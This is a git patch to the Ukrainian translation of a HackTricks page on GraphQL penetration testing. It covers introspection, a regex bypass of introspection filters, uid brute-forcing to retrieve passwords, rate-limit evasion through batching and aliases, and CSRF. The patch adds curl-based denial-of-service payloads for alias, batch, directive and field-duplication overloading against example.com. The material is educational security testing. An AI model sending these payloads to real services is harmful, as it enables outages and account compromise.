From 5c3b63d154e7ec928b3b99d30896f01ae20a4dcb Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 21 Nov 2024 11:51:08 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/graphql.md'] to --- .../pentesting-web/graphql.md | 136 ++++++++++++++---- 1 file changed, 106 insertions(+), 30 deletions(-) diff --git a/network-services-pentesting/pentesting-web/graphql.md b/network-services-pentesting/pentesting-web/graphql.md index 34f1c3229..5574fe60f 100644 --- a/network-services-pentesting/pentesting-web/graphql.md +++ b/network-services-pentesting/pentesting-web/graphql.md @@ -1,8 +1,8 @@ # GraphQL {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -58,7 +58,7 @@ Graphql зазвичай підтримує **GET**, **POST** (x-www-form-urlenc ```bash query={__schema{types{name,fields{name}}}} ``` -За допомогою цього запиту ви знайдете назву всіх типів, що використовуються: +За допомогою цього запиту ви знайдете назви всіх типів, що використовуються: ![](<../../.gitbook/assets/image (1036).png>) @@ -184,13 +184,13 @@ name ![](<../../.gitbook/assets/image (363).png>) -Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) для перегляду всіх опцій у графічному інтерфейсі. +Якщо інтроспекція увімкнена, ви можете використовувати [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager), щоб переглянути в GUI всі опції. ### Запит Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, давайте спробуємо **витягти деякі значення**. -В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитати** (оскільки ви не можете запитати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Отже, ви можете запитати об'єкт прапора. +В інтроспекції ви можете знайти **який об'єкт ви можете безпосередньо запитувати** (оскільки ви не можете запитувати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "_queryType_" називається "_Query_", і що одне з полів об'єкта "_Query_" - це "_flags_", який також є типом об'єкта. Отже, ви можете запитувати об'єкт прапора. ![](<../../.gitbook/assets/Screenshot from 2021-03-13 18-17-48.png>) @@ -210,7 +210,7 @@ query={flags{name, value}} ```javascript query={hiddenFlags} ``` -В іншому прикладі, де було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\ +В іншому прикладі було 2 об'єкти всередині об'єкта типу "_Query_": "_user_" та "_users_".\ Якщо цим об'єктам не потрібні аргументи для пошуку, можна **отримати всю інформацію з них**, просто **попросивши** дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі: ![](<../../.gitbook/assets/image (880).png>) @@ -220,9 +220,9 @@ query={hiddenFlags} ![](<../../.gitbook/assets/image (1042).png>) Схоже, що якимось чином він буде шукати, використовуючи аргумент "_**uid**_" типу _**Int**_.\ -У будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` +В будь-якому випадку, ми вже знали, що в розділі [Basic Enumeration](graphql.md#basic-enumeration) було запропоновано запит, який показував нам всю необхідну інформацію: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` -Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "_**user**_" мав **аргумент** "_**uid**_" типу _Int_. +Якщо ви прочитаєте зображення, надане, коли я запускаю цей запит, ви побачите, що "_**user**_" мав **arg** "_**uid**_" типу _Int_. Отже, виконуючи легкий _**uid**_ брутфорс, я виявив, що в _**uid**=**1**_ було отримано ім'я користувача та пароль:\ `query={user(uid:1){user,password}}` @@ -237,13 +237,13 @@ query={hiddenFlags} **Трюк з вивантаженням рядка запиту (дякую @BinaryShadow\_)** -Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "**theusers**" за рядковим полем під назвою "**description**"_). +Якщо ви можете шукати за рядковим типом, наприклад: `query={theusers(description: ""){username,password}}` і ви **шукаєте порожній рядок**, це **вивантажить всі дані**. (_Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "**theusers**" за полем рядка під назвою "**description**"_). ### Пошук У цій конфігурації **база даних** містить **осіб** та **фільми**. **Особи** ідентифікуються за їх **електронною поштою** та **іменем**; **фільми** - за їх **іменем** та **рейтинговою оцінкою**. **Особи** можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних. -Ви можете **шукати** осіб **за** **іменем** і отримувати їх електронні адреси: +Ви можете **шукати** осіб **за** **іменем** та отримувати їх електронні адреси: ```javascript { searchPerson(name: "John Doe") { @@ -322,7 +322,7 @@ rating ``` **Зверніть увагу, як у запиті вказані як значення, так і тип даних.** -Крім того, база даних підтримує операцію **mutation**, названу `addPerson`, яка дозволяє створювати **persons** разом з їх асоціаціями до існуючих **friends** та **movies**. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх можна буде зв'язати з новоствореною особою. +Крім того, база даних підтримує операцію **мутації**, названу `addPerson`, яка дозволяє створювати **осіб** разом з їх асоціаціями до існуючих **друзів** та **фільмів**. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх зв'яжуть з новоствореною особою. ```javascript mutation { addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { @@ -350,14 +350,14 @@ releaseYear } } ``` -### Directive Overloading +### Директивне перевантаження -Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), перевантаження директиви передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо DoS. +Як пояснено в [**одній з вразливостей, описаних у цьому звіті**](https://www.landh.tech/blog/20240304-google-hack-50000/), директивне перевантаження передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо DoS. -### Batching brute-force in 1 API request +### Пакетний брутфорс в 1 API запиті Цю інформацію було взято з [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\ -Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака методом перебору, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі. +Аутентифікація через GraphQL API з **одночасною відправкою багатьох запитів з різними обліковими даними** для перевірки. Це класична атака брутфорсом, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетування GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі. Нижче ви можете знайти найпростішу демонстрацію запиту аутентифікації програми з **3 різними парами електронна пошта/пароль одночасно**. Очевидно, що можливо відправити тисячі в одному запиті таким же чином: @@ -367,17 +367,17 @@ releaseYear ![](<../../.gitbook/assets/image (119) (1).png>) -## GraphQL Without Introspection +## GraphQL без інспекції -Все більше **graphql кінцевих точок відключають інтроспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми. +Все більше **graphql кінцевих точок відключають інспекцію**. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для таких інструментів, як [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), щоб відтворити більшу частину схеми. -Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інтроспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). +Більше того, розширення Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **спостерігає за запитами GraphQL API, що проходять через Burp** і **будує** внутрішню GraphQL **схему** з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації [**перевірте це**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema). -Гарний **словник** для виявлення [**суб'єктів GraphQL можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?). +Гарний **словник** для виявлення [**GraphQL сутностей можна знайти тут**](https://github.com/Escape-Technologies/graphql-wordlist?). -### Bypassing GraphQL introspection defences +### Обхід захисту інспекції GraphQL -Щоб обійти обмеження на запити інтроспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інтроспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не враховуватися в regex, можна обійти обмеження. Наприклад, запит на інтроспекцію з новим рядком після `__schema` може обійти такі захисти: +Щоб обійти обмеження на запити інспекції в API, вставка **спеціального символу після ключового слова `__schema`** виявляється ефективною. Цей метод експлуатує загальні помилки розробників у шаблонах regex, які намагаються заблокувати інспекцію, зосереджуючись на ключовому слові `__schema`. Додаючи символи, такі як **пробіли, нові рядки та коми**, які GraphQL ігнорує, але які можуть не враховуватися в regex, обмеження можна обійти. Наприклад, запит на інспекцію з новим рядком після `__schema` може обійти такі захисти: ```bash # Example with newline to bypass { @@ -439,13 +439,13 @@ file:* query ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` -Тому, оскільки CSRF запити, як і попередні, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF. +Тому, оскільки запити CSRF, подібні до попередніх, надсилаються **без попередніх запитів**, можливо **виконати** **зміни** в GraphQL, зловживаючи CSRF. -Однак зверніть увагу, що нове значення за замовчуванням куки для прапора `samesite` у Chrome - `Lax`. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET запитах. +Однак зверніть увагу, що нове значення за замовчуванням куки для прапора `samesite` у Chrome - `Lax`. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET-запитах. -Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET запиті. +Зверніть увагу, що зазвичай можливо надіслати **запит** **запиту** також як **GET** **запит**, і токен CSRF може не перевірятися в GET-запиті. -Також, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/) **атака**, може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача. +Крім того, зловживаючи [**XS-Search**](../../pentesting-web/xs-search/) **атака** може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача. Для отримання додаткової інформації **перевірте** [**оригінальний пост тут**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). @@ -461,7 +461,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ## Авторизація в GraphQL -Багато функцій GraphQL, визначених на кінцевій точці, можуть перевіряти лише аутентифікацію запитувача, але не авторизацію. +Багато функцій GraphQL, визначених на кінцевій точці, можуть лише перевіряти аутентифікацію запитувача, але не авторизацію. Модифікація змінних вхідних запитів може призвести до витоку чутливих даних облікового запису [leaked](https://hackerone.com/reports/792927). @@ -487,7 +487,7 @@ query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: [Псевдоніми](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисний випадок використання, коли псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP запит, вони можуть обійти такі заходи обмеження швидкості. +Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисне використання, де псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження **кількості HTTP запитів**. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP запит, вони можуть обійти такі заходи обмеження швидкості. Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP запит, потенційно дозволяючи перевірити численні коди знижок одночасно. ```bash @@ -504,11 +504,87 @@ valid } } ``` +## DoS в GraphQL + +### Перевантаження псевдонімів + +**Перевантаження псевдонімів** - це вразливість GraphQL, де зловмисники перевантажують запит багатьма псевдонімами для одного й того ж поля, змушуючи бекенд-резолвер виконувати це поле повторно. Це може перевантажити ресурси сервера, що призводить до **відмови в обслуговуванні (DoS)**. Наприклад, у наведеному нижче запиті те саме поле (`expensiveField`) запитується 1,000 разів, використовуючи псевдоніми, змушуючи бекенд обчислювати його 1,000 разів, що потенційно виснажує ЦП або пам'ять: + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "Content-Type: application/json" \ +-d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Щоб пом'якшити це, реалізуйте обмеження на кількість псевдонімів, аналіз складності запитів або обмеження швидкості, щоб запобігти зловживанню ресурсами. + +### **Пакетування запитів на основі масивів** + +**Пакетування запитів на основі масивів** є вразливістю, коли GraphQL API дозволяє пакетувати кілька запитів в одному запиті, що дозволяє зловмиснику надсилати велику кількість запитів одночасно. Це може перевантажити бекенд, виконуючи всі пакетовані запити паралельно, споживаючи надмірні ресурси (ЦП, пам'ять, з'єднання з базою даних) і потенційно призводячи до **Відмови в обслуговуванні (DoS)**. Якщо немає обмеження на кількість запитів у пакеті, зловмисник може скористатися цим, щоб знизити доступність сервісу. + +{% code overflow="wrap" %} +```graphql +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ +'https://example.com/graphql' +``` +{% endcode %} + +У цьому прикладі 10 різних запитів об'єднуються в один запит, змушуючи сервер виконувати їх усі одночасно. Якщо скористатися більшим розміром пакету або запитами, що вимагають великих обчислень, це може перевантажити сервер. + +### **Уразливість перевантаження директив** + +**Перевантаження директив** відбувається, коли сервер GraphQL дозволяє запити з надмірними, дубльованими директивами. Це може перевантажити парсер і виконавця сервера, особливо якщо сервер неодноразово обробляє ту ж логіку директиви. Без належної валідації або обмежень зловмисник може скористатися цим, створивши запит з численними дубльованими директивами, щоб викликати високе використання обчислень або пам'яті, що призводить до **Denial of Service (DoS)**. + +{% code overflow="wrap" %} +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Зверніть увагу, що в попередньому прикладі `@aa` є користувацькою директивою, яка **може не бути оголошена**. Загальною директивою, яка зазвичай існує, є **`@include`**: + +{% code overflow="wrap" %} +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ +'https://example.com/graphql' +``` +{% endcode %} + +Ви також можете надіслати запит на інспекцію, щоб виявити всі оголошені директиви: +```bash +curl -X POST \ +-H "Content-Type: application/json" \ +-d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ +'https://example.com/graphql' +``` +І потім **використовуйте деякі з кастомних**. + +### **Вразливість Дублювання Полів** + +**Дублювання Полів** — це вразливість, коли сервер GraphQL дозволяє запити з однаковим полем, яке повторюється надмірно. Це змушує сервер повторно вирішувати поле для кожного випадку, споживаючи значні ресурси (ЦП, пам'ять та запити до бази даних). Зловмисник може створити запити з сотнями або тисячами повторюваних полів, викликаючи високе навантаження і потенційно призводячи до **Відмови в Обслуговуванні (DoS)**. +```bash +# Test provided by https://github.com/dolevf/graphql-cop +curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ +-d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \ +'https://example.com/graphql' +``` ## Інструменти ### Сканери вразливостей -* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування загальних неправильних налаштувань graphql кінцевих точок +* [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop): Тестування поширених неправильних налаштувань graphql кінцевих точок * [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql): Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL. * [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f): Визначення графіку, що використовується * [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу. @@ -541,8 +617,8 @@ valid * [**https://portswigger.net/web-security/graphql**](https://portswigger.net/web-security/graphql) {% hint style="success" %} -Вивчайте та практикуйте AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Вивчайте та практикуйте GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Вчіть та практикуйте Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Вчіть та практикуйте Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)